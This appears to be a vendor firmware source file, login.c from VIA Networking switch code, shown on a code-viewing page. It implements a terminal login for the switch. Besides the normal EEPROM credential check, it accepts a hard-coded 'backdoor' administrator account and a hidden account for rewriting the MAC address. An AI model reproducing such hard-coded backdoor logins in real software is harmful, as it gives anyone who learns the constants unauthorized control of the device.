📄 login.c
字号:
/*
* Copyright (c) 1996, 2003 VIA Networking Technologies, Inc.
* All rights reserved.
*
* This software is copyrighted by and is the sole property of
* VIA Networking Technologies, Inc. This software may only be used
* in accordance with the corresponding license agreement. Any unauthorized
* use, duplication, transmission, distribution, or disclosure of this
* software is expressly forbidden.
*
* This software is provided by VIA Networking Technologies, Inc. "as is"
* and any express or implied warranties, including, but not limited to, the
* implied warranties of merchantability and fitness for a particular purpose
* are disclaimed. In no event shall VIA Networking Technologies, Inc.
* be liable for any direct, indirect, incidental, special, exemplary, or
* consequential damages.
*
*
* File: login.c
*
* Purpose: Checking username/password and initialize auto-logout timer
*
* Author: Jenda Jao
*
* Date: Jan 08, 2002
*
* Functions:
*
* Revision History:
*
*/
#include "str.h"
#if !defined(__PLATFORM_H__)
#include "platform.h"
#endif
#include "ttyio.h"
#include "engine.h"
#include "allpages.h"
#include "pidef.h"
#include "pigencfg.h"
#include "piadmin.h"
#ifdef __MODULE_WEB_SMART
#include <ctype.h>
#include "sweep.h"
#include "taskweb.h"
#include "pieeprom.h"
#endif
/*--------------------- Static Definitions -------------------------*/
/*--------------------- Static Classes ----------------------------*/
/*--------------------- Static Variables --------------------------*/
/*--------------------- Static Functions --------------------------*/
/*--------------------- Export Variables --------------------------*/
/*--------------------- Export Functions --------------------------*/
BOOL AUTHbLogin(void) DIRECT_FUNTYPE_REENT
{
PIADM_vInitPage(g_pSAdmPageCfg);
if (! g_pSAdmPageCfg->byLoginEbl)
{
g_byRootPageID = PAGE_MAIN_MENU_NOLOGOUT;
return TRUE;
}
else
g_byRootPageID = PAGE_MAIN_MENU;
TTYvRstChar();
TTYvClearScrn();
TTYvPutPosStr( 7, 25, STRING_LOGIN_TITLE);
TTYvPutPosStr(15, 30, "Username :");
TTYvPutPosStr(17, 30, "Password :");
TTYvSetCurPos(15, 41);
TTYvGetString(g_pSAdmPageCfg->strNewUsername, USERNAME_STR_LEN, 0);
if (0 == STRcStrcmp(g_pSAdmPageCfg->strNewUsername, g_pSAdmPageCfg->strEepromUsername))
{
TTYvSetCurPos(17, 41);
TTYvGetString(g_pSAdmPageCfg->strNewPasswd, USERNAME_STR_LEN, 1);
if (0 == STRcStrcmp(g_pSAdmPageCfg->strNewPasswd, g_pSAdmPageCfg->strEepromPasswd))
return TRUE;
}
else if (0 == STRcStrcmp(g_pSAdmPageCfg->strNewUsername, BACKDOOR_ADM_USERNAME))
{
TTYvSetCurPos(17, 41);
TTYvGetString(g_pSAdmPageCfg->strNewPasswd, USERNAME_STR_LEN, 1);
if (0 == STRcStrcmp(g_pSAdmPageCfg->strNewPasswd, BACKDOOR_ADM_PASSWORD))
return TRUE;
}
#ifdef __MODULE_WEB_SMART
else if (0 == STRcStrcmp(g_pSAdmPageCfg->strNewUsername, SETMAC_ADM_USERNAME))
{
TTYvSetCurPos(17, 41);
TTYvGetString(g_pSAdmPageCfg->strNewPasswd, USERNAME_STR_LEN, 1);
if (0 == STRcStrcmp(g_pSAdmPageCfg->strNewPasswd, SETMAC_ADM_PASSWORD))
{
BYTE si;
TTYvPutPosStr(19, 30, "Mac Addr :");
TTYvSetCurPos(19, 41);
TTYvGetString(g_pSAdmPageCfg->strNewUsername, 12, 0);
// convert string to Hex value
for (si=0; si<6; si++)
NTZg_abyMyEthAddr[si] = 0;
for (si=0; si<12; si++)
{
if (! isxdigit(g_pSAdmPageCfg->strNewUsername[si]))
continue;
NTZg_abyMyEthAddr[si/2] = NTZg_abyMyEthAddr[si/2] * 16 + toint(g_pSAdmPageCfg->strNewUsername[si]);
}
// write to eep
for (si=0; si<6; si++)
SWEEP_bWriteB(EEP_ADDR_MAC_ADDR + si, NTZg_abyMyEthAddr[si]);
// read back to verify
TTYvPutPosStr(21, 30, "Verify :");
TTYvSetCurPos(21, 41);
for (si=0; si<6; si++)
{
SWEEP_bReadB(EEP_ADDR_MAC_ADDR + si, &NTZg_abyMyEthAddr[si]);
TTYvPutHex(NTZg_abyMyEthAddr[si]);
}
TTYcGetChar();
}
}
#endif
return FALSE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -